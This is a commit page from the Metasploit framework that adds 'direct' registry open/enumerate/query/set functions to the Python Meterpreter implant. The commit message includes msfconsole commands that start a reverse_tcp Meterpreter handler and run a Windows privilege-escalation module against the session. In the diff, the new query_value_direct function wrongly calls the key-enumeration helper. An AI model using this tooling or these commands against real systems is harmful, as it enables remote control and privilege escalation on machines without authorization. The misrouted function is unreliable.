Skip to content

Commit cf0589f

Browse files
author
Brent Cook
committed
add support for direct reg access to pymeterpreter
When testing this, I found that the python meterpreter hangs running the following, with or without these changes. ``` use exploit/multi/handler set payload python/meterpreter/reverse_tcp set PythonMeterpreterDebug true set lhost 192.168.43.1 exploit -j sleep 5 use exploit/windows/local/trusted_service_path set SESSION 1 check ``` This turned out to be that pymeterpreter ate all the rest of the data in the recv socket by consuming 4k unconditionally. This would only be exposed if there were multiple simultaneous requests so the recv buffer filled beyond a single request, e.g. when using the registry enumeration functions.
1 parent 503f583 commit cf0589f

File tree

1 file changed

+71
-15
lines changed

1 file changed

+71
-15
lines changed

data/meterpreter/ext_server_stdapi.py

Lines changed: 71 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -1334,10 +1334,12 @@ def stdapi_net_socket_tcp_shutdown(request, response):
13341334
channel.shutdown(how)
13351335
return ERROR_SUCCESS, response
13361336

1337+
def _wreg_close_key(hkey):
1338+
ctypes.windll.advapi32.RegCloseKey(hkey)
1339+
13371340
@meterpreter.register_function_windll
13381341
def stdapi_registry_close_key(request, response):
1339-
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
1340-
result = ctypes.windll.advapi32.RegCloseKey(hkey)
1342+
_wreg_close_key(packet_get_tlv(request, TLV_TYPE_HKEY)['value'])
13411343
return ERROR_SUCCESS, response
13421344

13431345
@meterpreter.register_function_windll
@@ -1372,11 +1374,9 @@ def stdapi_registry_delete_value(request, response):
13721374
result = ctypes.windll.advapi32.RegDeleteValueA(root_key, ctypes.byref(value_name))
13731375
return result, response
13741376

1375-
@meterpreter.register_function_windll
1376-
def stdapi_registry_enum_key(request, response):
1377+
def _wreg_enum_key(request, response, hkey):
13771378
ERROR_MORE_DATA = 0xea
13781379
ERROR_NO_MORE_ITEMS = 0x0103
1379-
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
13801380
name = (ctypes.c_char * 4096)()
13811381
index = 0
13821382
tries = 0
@@ -1399,10 +1399,22 @@ def stdapi_registry_enum_key(request, response):
13991399
return result, response
14001400

14011401
@meterpreter.register_function_windll
1402-
def stdapi_registry_enum_value(request, response):
1402+
def stdapi_registry_enum_key(request, response):
1403+
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
1404+
return _wreg_enum_key(request, response, hkey)
1405+
1406+
@meterpreter.register_function_windll
1407+
def stdapi_registry_enum_key_direct(request, response):
1408+
err, hkey = _wreg_open_key(request)
1409+
if err != ERROR_SUCCESS:
1410+
return err, response
1411+
ret = _wreg_enum_key(request, response, hkey)
1412+
_wreg_close_key(hkey)
1413+
return ret
1414+
1415+
def _wreg_enum_value(request, response, hkey):
14031416
ERROR_MORE_DATA = 0xea
14041417
ERROR_NO_MORE_ITEMS = 0x0103
1405-
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
14061418
name = (ctypes.c_char * 4096)()
14071419
name_sz = ctypes.c_uint32()
14081420
index = 0
@@ -1426,6 +1438,20 @@ def stdapi_registry_enum_value(request, response):
14261438
index += 1
14271439
return result, response
14281440

1441+
@meterpreter.register_function_windll
1442+
def stdapi_registry_enum_value(request, response):
1443+
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
1444+
return _wreg_enum_value(request, response, hkey)
1445+
1446+
@meterpreter.register_function_windll
1447+
def stdapi_registry_enum_value_direct(request, response):
1448+
err, hkey = _wreg_open_key(request)
1449+
if err != ERROR_SUCCESS:
1450+
return err, response
1451+
ret = _wreg_enum_value(request, response, hkey)
1452+
_wreg_close_key(hkey)
1453+
return ret
1454+
14291455
@meterpreter.register_function_windll
14301456
def stdapi_registry_load_key(request, response):
14311457
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)
@@ -1434,16 +1460,22 @@ def stdapi_registry_load_key(request, response):
14341460
result = ctypes.windll.advapi32.RegLoadKeyA(root_key, sub_key, file_name)
14351461
return result, response
14361462

1437-
@meterpreter.register_function_windll
1438-
def stdapi_registry_open_key(request, response):
1463+
def _wreg_open_key(request):
14391464
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
14401465
base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value']
14411466
base_key = ctypes.create_string_buffer(bytes(base_key, 'UTF-8'))
14421467
permission = packet_get_tlv(request, TLV_TYPE_PERMISSION).get('value', winreg.KEY_ALL_ACCESS)
14431468
handle_id = ctypes.c_void_p()
14441469
if ctypes.windll.advapi32.RegOpenKeyExA(root_key, ctypes.byref(base_key), 0, permission, ctypes.byref(handle_id)) != ERROR_SUCCESS:
1445-
return error_result_windows(), response
1446-
response += tlv_pack(TLV_TYPE_HKEY, handle_id.value)
1470+
return error_result_windows(), 0
1471+
return ERROR_SUCCESS, handle_id.value
1472+
1473+
@meterpreter.register_function_windll
1474+
def stdapi_registry_open_key(request, response):
1475+
err, hkey = _wreg_open_key(request)
1476+
if err != ERROR_SUCCESS:
1477+
return err, response
1478+
response += tlv_pack(TLV_TYPE_HKEY, hkey)
14471479
return ERROR_SUCCESS, response
14481480

14491481
@meterpreter.register_function_windll
@@ -1467,9 +1499,7 @@ def stdapi_registry_query_class(request, response):
14671499
response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data))
14681500
return ERROR_SUCCESS, response
14691501

1470-
@meterpreter.register_function_windll
1471-
def stdapi_registry_query_value(request, response):
1472-
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
1502+
def _query_value(request, response, hkey):
14731503
value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value']
14741504
value_name = ctypes.create_string_buffer(bytes(value_name, 'UTF-8'))
14751505
value_type = ctypes.c_uint32()
@@ -1496,15 +1526,41 @@ def stdapi_registry_query_value(request, response):
14961526
return error_result_windows(), response
14971527

14981528
@meterpreter.register_function_windll
1499-
def stdapi_registry_set_value(request, response):
1529+
def stdapi_registry_query_value(request, response):
15001530
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
1531+
return _query_value(request, response, hkey)
1532+
1533+
@meterpreter.register_function_windll
1534+
def stdapi_registry_query_value_direct(request, response):
1535+
err, hkey = _wreg_open_key(request)
1536+
if err != ERROR_SUCCESS:
1537+
return err, response
1538+
ret = _wreg_enum_key(request, response, hkey)
1539+
_wreg_close_key(hkey)
1540+
return ret
1541+
1542+
def _set_value(request, response, hkey):
15011543
value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value']
15021544
value_name = ctypes.create_string_buffer(bytes(value_name, 'UTF-8'))
15031545
value_type = packet_get_tlv(request, TLV_TYPE_VALUE_TYPE)['value']
15041546
value_data = packet_get_tlv(request, TLV_TYPE_VALUE_DATA)['value']
15051547
result = ctypes.windll.advapi32.RegSetValueExA(hkey, ctypes.byref(value_name), 0, value_type, value_data, len(value_data))
15061548
return result, response
15071549

1550+
@meterpreter.register_function_windll
1551+
def stdapi_registry_set_value(request, response):
1552+
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
1553+
return _set_value(request, response, hkey)
1554+
1555+
@meterpreter.register_function_windll
1556+
def stdapi_registry_set_value_direct(request, response):
1557+
err, hkey = _wreg_open_key(request)
1558+
if err != ERROR_SUCCESS:
1559+
return err, response
1560+
ret = _set_value(request, response, hkey)
1561+
_wreg_close_key(hkey)
1562+
return ret
1563+
15081564
@meterpreter.register_function_windll
15091565
def stdapi_registry_unload_key(request, response):
15101566
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']

0 commit comments

Comments
 (0)